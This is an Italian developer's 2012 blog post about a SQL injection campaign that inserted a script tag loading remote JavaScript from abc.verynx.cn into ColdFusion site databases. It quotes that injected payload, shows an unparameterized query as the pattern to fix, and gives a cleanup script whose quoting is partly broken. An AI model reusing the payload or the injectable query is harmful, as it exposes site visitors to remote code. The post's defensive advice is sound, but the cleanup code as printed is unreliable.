Sql Injection - VeryNX Attack - Intere banche dati danneggiate da attacchi web

  • 24
  • Jul 2012
  • Dev @ Contech Lab
  • View: 20691 | 0 Comments

  • coldfusion | sqlinjection

  • Dal 21 di Luglio si verificano attacchi su vari siti web, tra cui alcuni da me gestiti. Questi attacchi inseriscono con l'utilizzo di codice sql direttamente da porta 80, la stringa sotto riportata nei campi del database. Il risultato è che i siti non mostrano piu' le informazioni che appaiono commentate. Un vero disastro dal punto di vista della correzione di interi database, con un dispendio di tempo enorme.

    Segnalo questa cosa a coloro che avessero notato comportamenti di questo per scambiare idee su come arginare questo problema. Grz

    view plain print about
    <!--- code start ----------------by--internew.it --->
    < /title><script src="http://abc.verynx.cn/w.js"></script > 
    <!--- code end ------------------------------- --->

    and more... prima di tutto utilizzare assolutamente il "cfqueryparam" nelle "cfquery" che utilizzano parametri di tipo "url" (get request) esempio:

    view plain print about
    <cfquery>
    select * from table
    where id = #url.parametroID#
    </cfquery>

    poi un po' di istruzioni che possono pulire il DB. (da personalizzare ovviamente):

    view plain print about
    <cfset hackstr = '"></title><script src="http://abc.verynx.cn/w.js">/script>

    <cfquery datasource="
    #application.dsname#" dbtype="#application.dbtype#" name="sql">
    select IdCont,CampoTestoInDB from tbl_contenuti
    where CampoTestoInDB like <cfqueryparam cfsqltype="
    cf_sql_varchar" value="%#hackstr#%">
    </cfquery>

    <cfoutput query="
    sql">
    <cfset strToSost = ReplaceNocase(CampoTestoInDB,hackstr,')>

    <p> 
    #HTMLEditFormat(CampoTestoInDB)#<br>
    #HTMLEditFormat(strToSost)#
    </p>
    <cfquery name="
    sost" datasource="#application.dsname#" dbtype="#application.dbtype#">
    update tbl_contenuti
    set
    CampoTestoInDB = <cfqueryparam cfsqltype="
    cf_sql_varchar" value="#strToSost#">
    where
    IdCont = <cfqueryparam cfsqltype="
    cf_sql_integer" value="#sql.IdCont#">
    </cfquery>
    </cfoutput>